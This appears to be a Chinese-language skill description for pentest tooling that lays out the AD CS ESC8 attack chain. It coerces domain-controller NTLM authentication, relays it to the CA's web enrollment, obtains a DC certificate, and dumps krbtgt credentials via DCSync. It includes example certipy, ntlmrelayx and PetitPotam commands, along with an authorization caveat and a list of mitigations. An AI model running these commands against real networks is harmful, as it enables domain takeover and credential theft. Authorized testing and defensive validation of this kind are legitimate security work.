用途：该技能针对 Active Directory 证书服务（AD CS）的 ESC8 提权路径，利用默认支持 NTLM 且未强制 HTTPS 通道绑定或扩展保护（EPA）的 HTTP Web 注册端点（/certsrv/），将强制触发的域控 NTLM 认证中继至 CA 并申请证书，最终通过 PKINIT 获取 TGT、恢复 NT 哈希并执行 DCSync，实现域控接管。
主要能力：使用 Certipy 枚举并确认存在 ESC8 漏洞的 Web 注册端点；以 --adcs 模式启动 ntlmrelayx 中继；通过 PetitPotam（MS-EFSRPC）、Coercer 或 printerbug（MS-RPRN）强制域控向中继监听器认证；捕获域控机器账户的 base64 证书并保存为 .pfx；用 certipy auth 将证书转换为 TGT 与 NT 哈希；最后用 secretsdump 执行 DCSync 提取 krbtgt 等凭据。
必要用法：安装 pipx install impacket、pipx install certipy-ad、pipx install coercer，并克隆 PetitPotam。枚举命令示例：certipy find -u attacker@corp.local -p 'Password123!' -dc-ip 10.0.0.10 -vulnerable -enabled -stdout。中继命令示例：impacket-ntlmrelayx -t http://ca01.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController。强制认证示例：python3 PetitPotam.py -u attacker -p 'Password123!' -d corp.local 10.0.0.50 10.0.0.10。证书转换：certipy auth -pfx dc01.pfx -dc-ip 10.0.0.10。
适用场景：内部 AD 渗透测试、红队演练、紫队检测验证，以及验证组织是否已缓解 ESC8。
限制：仅限获得明确书面授权的测试；强制认证可能影响生产域控。需具备可访问 CA 注册端点的网络位置、可注册且含客户端认证 EKU 的模板。防御措施包括启用 EPA 与 HTTPS、禁用 NTLM、移除不必要的 HTTP 注册角色、修补强制认证漏洞并监控异常证书注册。